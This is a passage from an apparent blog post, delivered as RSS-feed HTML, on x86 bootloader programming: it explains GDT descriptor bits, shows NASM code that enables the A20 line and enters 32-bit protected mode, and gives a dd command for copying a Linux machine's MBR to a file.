&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| +-----+----------------------------------------------------------------------+
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | BIT | DESC |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| +-----+----------------------------------------------------------------------+
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | 0 | Accessed bit - Set 0, the CPU sets to 1 if the segment is accessed |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | 1 | Read / Write flag - If a code segment, 1 means that read is allowed. |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | | If a data segment, 1 means that writing is allowed. |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | 2 | Direction bit. 0 = Segement Grows up 1 = Segment grows down |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | 3 | Executable - If 1, code in this segment can be executed. If 0, this |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | | is a data segment |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | 4 | Descriptor Type - Should be set if it&amp;#39;s a code or data segment. Else |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | | it&amp;#39;s a system segment (eg TSS) |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | 5-6 | Privilege level, contains the ring level. 0-3 |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | 7 | Present bit. Must but 1 for all valid sectors. |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| +-----+----------------------------------------------------------------------+
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| The flags in the flag nibble (bits 52-55) are:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| +-----+----------------------------------------------------------------------+
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | BIT | DESC |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| +-----+----------------------------------------------------------------------+
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">+&amp;gt;| 0 | Leave at zero |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 1 | L bit - Only used in x64. Used to mark a 64 bit data segment |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 2 | Size bit. 0=16 bit,1=32 bit. If L (and 64 bit), this must be 0 |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 3 | Granularity. 0=limit is in 1B blocks(byte) or 1=4KiB blocks(page) |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> +-----+----------------------------------------------------------------------+
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;a href="https://wiki.osdev.org/Global_Descriptor_Table">https://wiki.osdev.org/Global_Descriptor_Table&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://wiki.osdev.org/GDT_Tutorial">https://wiki.osdev.org/GDT_Tutorial&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikibooks.org/wiki/X86_Assembly/Global_Descriptor_Table">https://en.wikibooks.org/wiki/X86_Assembly/Global_Descriptor_Table&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="enabling-the-a20-line">Enabling the A20 Line&lt;/h2>
&lt;p>Here is some example code of doing a bit of what we&amp;rsquo;ve just described.&lt;/p>
&lt;p>The A20 line is the actual pin on the Address Bus that is the 21st bit of
memory access. Because this is x86, anything beyond 20 bits of address space
was originally disabled by default, due to some systems that couldn&amp;rsquo;t count
that high. So because of this, we have to enable this each time we use our
processor, unless we want to be bound to &amp;lt; 16 megabytes of address space.&lt;/p>
&lt;p>Fun fact: This used to literally be an option on older keyboards, specifically
those with a 8042 PS/2 controller, where you could manually toggle the A20 gate
to enable more memory access. I&amp;rsquo;m not sure if I want to laugh or find some way
to directly toggle pins on my i7 with my keyboard.&lt;/p>
&lt;p>This method uses the BIOS INT 15h method to enable the A20 line&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Enabling the A20 line, aka address more than 1MB of Memory&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">bits&lt;/span> &lt;span class="mi">16&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">org&lt;/span> &lt;span class="mh">0x7c00&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">boot:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x2401&lt;/span> &lt;span class="c1">; AH=24;AL=01 is the enable A20 gate INT 15 function&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">int&lt;/span> &lt;span class="mh">0x15&lt;/span> &lt;span class="c1">; You can also use AH24;AL=3 to query support and&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; AH=24;AL=02 to get the status. AL=00 disables ;)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x3&lt;/span> &lt;span class="c1">; Use INT 10h to set video mode to VGA Text. There&amp;#39;s&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">int&lt;/span> &lt;span class="mh">0x10&lt;/span> &lt;span class="c1">; quite a number of other screen modes to play with&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">cli&lt;/span> &lt;span class="c1">; Clear the interrupt flag&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">lgdt&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nv">gdt_pointer&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; Load the gdt table&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">eax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">cr0&lt;/span> &lt;span class="c1">; get cr0 into eax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">or&lt;/span> &lt;span class="nb">eax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1&lt;/span> &lt;span class="c1">; Set the protected mode bit on cr0 register&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">cr0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">eax&lt;/span> &lt;span class="c1">; Put this value back in cr0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">CODE_SEG&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="nv">boot2&lt;/span> &lt;span class="c1">; long jump to code segment&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;-- This is the beginning of the GDT struct&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">gdt_start:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dq&lt;/span> &lt;span class="mh">0x0&lt;/span> &lt;span class="c1">; This is our null segment, just 8 bytes of 00&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">gdt_code:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0xFFFF&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">db&lt;/span> &lt;span class="mh">0x0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">db&lt;/span> &lt;span class="mb">10011010b&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">db&lt;/span> &lt;span class="mb">11001111b&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">db&lt;/span> &lt;span class="mh">0x0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">gdt_data:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0xFFFF&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="mh">0x0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">db&lt;/span> &lt;span class="mh">0x0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">db&lt;/span> &lt;span class="mb">10010010b&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">db&lt;/span> &lt;span class="mb">11001111b&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">db&lt;/span> &lt;span class="mh">0x0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">gdt_end:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; need a gdt pointer structure to load this.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; A 16 bit field containing the GDT size followed by a 32 bit pointer &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; to the GDT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">gdt_pointer:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dw&lt;/span> &lt;span class="nv">gdt_end&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="nv">gdt_start&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">dd&lt;/span> &lt;span class="nv">gdt_start&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="no">CODE_SEG&lt;/span>&lt;span class="kd"> equ&lt;/span> &lt;span class="nv">gdt_code&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="nv">gdt_start&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="no">DATA_SEG&lt;/span>&lt;span class="kd"> equ&lt;/span> &lt;span class="nv">gdt_data&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="nv">gdt_start&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">bits&lt;/span> &lt;span class="mi">32&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">boot2:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">DATA_SEG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ds&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">ax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">es&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">ax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">fs&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">ax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">gs&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">ax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ss&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">ax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">esi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nv">hello&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ebx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0xb8000&lt;/span> &lt;span class="c1">; memory location of text buffer&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">.loop:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">lodsb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">or&lt;/span> &lt;span class="nb">al&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">al&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jz&lt;/span> &lt;span class="nv">halt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">or&lt;/span> &lt;span class="nb">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0100&lt;/span> &lt;span class="c1">; 0x0200 = green. Use 16 bit color here&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="kt">word&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">ebx&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="nb">ax&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">add&lt;/span> &lt;span class="nb">ebx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">2&lt;/span> &lt;span class="c1">; changing this to add ebx,3 makes it get all weird.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">.loop&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">halt:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">cli&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">hlt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">hello:&lt;/span> &lt;span class="kd">db&lt;/span> &lt;span class="s">&amp;#34;Finally made it to 32 bit mode!!&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">times&lt;/span> &lt;span class="mi">510&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kc">$&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="kc">$$&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nv">db&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">dw&lt;/span> &lt;span class="mh">0xaa55&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you are wondering where a lot of these seemingly arbitrary values are coming
from, I would highly recommend checking out the interrupt list, as well as
numerous aging websites that desperately need you to archive them. Seriously,
there is a ton of incredible info that is increasingly hard to find on very low
level computing.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://www.oldlinux.org/Linux.old/docs/interrupts/int-html/int-15.htm">http://www.oldlinux.org/Linux.old/docs/interrupts/int-html/int-15.htm&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://wiki.osdev.org/%228042%22_PS/2_Controller">https://wiki.osdev.org/%228042%22_PS/2_Controller&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="grabbing-your-own-mbr">Grabbing your own MBR&lt;/h2>
&lt;p>If you are on linux, you can do this to get the MBR of your machine&lt;/p>
&lt;p>First, look at your mounted disks, and find which one you boot from (example &lt;code>/dev/sda&lt;/code>), then&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">sudo dd &lt;span class="k">if&lt;/span>&lt;span class="o">=&lt;/span>/dev/sda &lt;span class="nv">of&lt;/span>&lt;span class="o">=&lt;/span>mbr.bin &lt;span class="nv">bs&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">512&lt;/span> &lt;span class="nv">count&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item></channel></rss>